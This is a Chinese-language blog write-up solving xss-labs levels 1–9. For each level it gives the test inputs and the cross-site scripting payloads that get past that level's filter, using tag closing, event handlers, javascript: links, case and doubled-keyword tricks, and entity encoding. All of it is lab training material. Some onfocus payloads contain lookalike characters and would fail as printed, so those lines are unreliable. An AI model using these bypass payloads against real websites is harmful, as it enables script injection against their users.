首页 > 其他分享 >xss-labs题解

xss-labs题解

时间:2024-11-04 23:16:28浏览次数:3  
标签:xss level 题解 alert labs &# Unicode 绕过 payload

xss—labs

xss—labs

题目链接BUUCTF在线评测

题目源码xss-lab/level1.php at master · Re13orn/xss-lab · GitHub

level 1(GET型)

GET型,在?后传参

<script>alert(1)</script>

level 2(闭合)

输入测试payload

1'2"3<script>

在这里插入图片描述

可以看出value属性是 双引号 闭合的 ,且没有对script标签进行过滤,构造payload

"><script>alert(1)</script><"

注意:script标签不可嵌套在HTML标签内

level 3(htmlspecialchars绕过)

输入测试payload

1'2"3<script>

在这里插入图片描述

可以看到输入的双引号尖括号被实体化,单引号没有被转义,进行htmlspecialchars绕过

那就利用<input>标签中onfocus属性进行构造

' οnfοcus=javascript:alert(1); '

level 4(左右尖括号过滤)

输入测试payload

1'2"3<script>

发现左右尖括号被过滤掉了
在这里插入图片描述

payload和上题一样

' οnfοcus=javascript:alert(1); '

level 5(a标签法)

输入测试payload

1'2"3<script>

发现<script>被替换成<sc_ript>

在这里插入图片描述

查看源码,发现使用了strtolower()函数

strtolower():将传入的字符串(即$_GET["keyword"])中的所有大写字母转换为小写字母

因此大小写绕过不行

而且on属性也被转换了

在这里插入图片描述

那就用<a>标签法

"><a href=javascript:alert(1);>XXX</a><"

level 6(大小写绕过)

输入测试payload

1'2"3<script>4on

发现<script>又被替换

在这里插入图片描述

输入过滤测试payload

onfocus <script> <a href=javascript:alert()>

在这里插入图片描述

好家伙都被替换了

那就试试大小写绕过

"><ScRipt>alert(1)</SCript><"
" Onfocus=javaScRipt:alert(1) "

成功

level 7(双写绕过)

输入测试payload

1'2"3<script>4on

script和on直接被过滤掉了

在这里插入图片描述

尝试双写绕过

"><scscriptript>alert(1)</scrscriptipt><"
" oonnfocus=javascscriptript:alert(1) "

level 8(利用href自动Unicode解码特性)

先说一下什么是自动Unicode解码(我也是刚学的)

自动 Unicode 解码 通常指的是某些环境或框架在处理输入时自动将这些编码转换回其对应的字符。

href标签会自动把你输入的Unicode转换成字符,因此我们可以利用这个特性进行绕过

自动Unicode编码解码工具

直接上源码吧
在这里插入图片描述

我们写入的内容最后被输出在a标签的href属性,但中间进行的层层过滤,绕过有些困难

就用href自动Unicode解码特性进行绕过

javascript:alert()

Unicode编码后

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

成功绕过

level 9(注释绕过后端判断)

输入测试payload

`1'2"3<script>

在这里插入图片描述

href属性不是我们写入的内容,而是返回了一个错误信息,这是怎么回事呢?

看看源码

在这里插入图片描述

后端对输入的内容进行了检测,如果没有搜索到**‘http://'就会返回false**,不会把我们输入的内容写到href属性中

因此,我们要在构造的payload的中加入‘http://’ , 将他用注释符注释,不影响payload的执行

payload:

JavaScript:alert(1) /* http:// */

Unicode编码

&#74;&#97;&#118;&#97;&#83;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;&#32;/* http:// */

成功绕过

标签:xss,level,题解,alert,labs,&#,Unicode,绕过,payload
From: https://blog.csdn.net/2401_86414033/article/details/143494891

相关文章

  • CSP-J2024题解
    前言J组本来可以AK的,但是对于DP的敏感度太低了,导致T4赛时没有往DP上面想。正片T1:扑克牌题目描述小P从同学小Q那儿借来一副\(n\)张牌的扑克牌。本题中我们不考虑大小王,此时每张牌具有两个属性:花色和点数。花色共有\(4\)种:方片、草花、红桃和黑桃。点数共......
  • 题解 P11231【[CSP-S 2024] 决斗】
    题目描述今天是小Q的生日,他得到了\(n\)张卡牌作为礼物。这些卡牌属于火爆的“决斗怪兽”,其中,第\(i\)张卡代表一只攻击力为\(r_i\),防御力也为\(r_i\)的怪兽。一场游戏分为若干回合。每回合,小Q会选择某只怪兽\(i\)以及另一只怪兽\(j(i\neqj)\),并让怪兽\(i\)向怪......
  • 题解 P11232【[CSP-S 2024] 超速检测】
    题目描述小D新入职了某国的交管部门,他的第一个任务是负责国家的一条长度为\(L\)的南北主干道的车辆超速检测。为了考考小D,上司首先需要他解决一个简化的场景。这个周末,主干道上预计出现\(n\)辆车,其中第\(i\)辆车从主干道上距离最南端\(d_i\)的位置驶入,以\(v_i\)的......
  • 题解 P11233【[CSP-S 2024] 染色】
    题目描述给定一个长度为\(n\)的正整数数组\(A\),其中所有数从左至右排成一排。你需要将\(A\)中的每个数染成红色或蓝色之一,然后按如下方式计算最终得分:设\(C\)为长度为\(n\)的整数数组,对于\(A\)中的每个数\(A_i\)(\(1\leqi\leqn\)):如果\(A_i\)左侧没有与其同......
  • 牛客周赛 Round 66 题解
    牛客周赛Round66题解牛客周赛Round66A-小苯吃糖果_牛客周赛Round66#include<bits/stdc++.h>#defineendl'\n'usingnamespacestd;inta[5];voidsolve(){ for(inti=1;i<=3;i++)cin>>a[i]; sort(a+1,a+4); intans=max(a[1]+a[2],a[3]); cout<......
  • Codeforces Round 983 (Div. 2) 10.31 ABC题解
    CodeforcesRound983(Div.2)10.31题解A.Circuit数学(math)贪心(greedy)模拟(implementation)题意:有\(n\)盏灯,对应\(2\astn\)个开关,即每盏灯对应两个开关,开关打开或者关闭用\(1\)和\(0\)表示。给出\(2\astn\)个开关的状态,需要求解出可能开灯的最小数量和最大数量。......
  • [JRKSJ R2] 你的名字。题解
    [JRKSJR2]你的名字。卡常题,根号分治。卡了三页。以下记\(V=\max\{a_i\}\)考虑当\(k\le\sqrtV\)时,对于每一个\(k\),写个ST表/线段树/分块即可,实测分块最快。复杂度分别为\(O(n\logn)+O(q)+O(n\logn)\qquadO(n)+O(q\logn)+O(n)\qquadO(n)+O(q\sqrtn)+O(n)\)。当\(k>\sq......
  • [PA2024] Modernizacja Bajtocji 题解
    DescriptionByteland正在走向现代化。最新的政府项目旨在为那些没有电脑的村镇居民提供电脑。Byteasar正在监督该计划中的一个村庄——Bytetown——的现代化进程,目前那里没有一个居民拥有电脑。Bytetown有\(n\)个居民,为了简单起见,Byteasar将他们用\(1\)到\(n\)的整数......
  • Codeforces Round 984 (Div. 3) 题解
    CodeforcesRound984(Div.3)题解CodeforcesRound984(Div.3)Problem-A-Codeforces解题思路n很小,直接枚举即可#include<bits/stdc++.h>#defineendl'\n'usingnamespacestd;inta[100];voidsolve(){ intn;cin>>n; for(inti=1;i<=n;i......
  • SQLI LABS | Less-27 GET-Error Based-All Your UNION & SELECT Belong To Us-String-
    关注这个靶场的其它相关笔记:SQLILABS——靶场笔记合集-CSDN博客0x01:过关流程输入下面的链接进入靶场(如果你的地址和我不一样,按照你本地的环境来): http://localhost/sqli-labs/Less-27/本关考察的是SQL注入的绕过姿势,至于发现注入点,相信强大如你已经很容易测出来了,......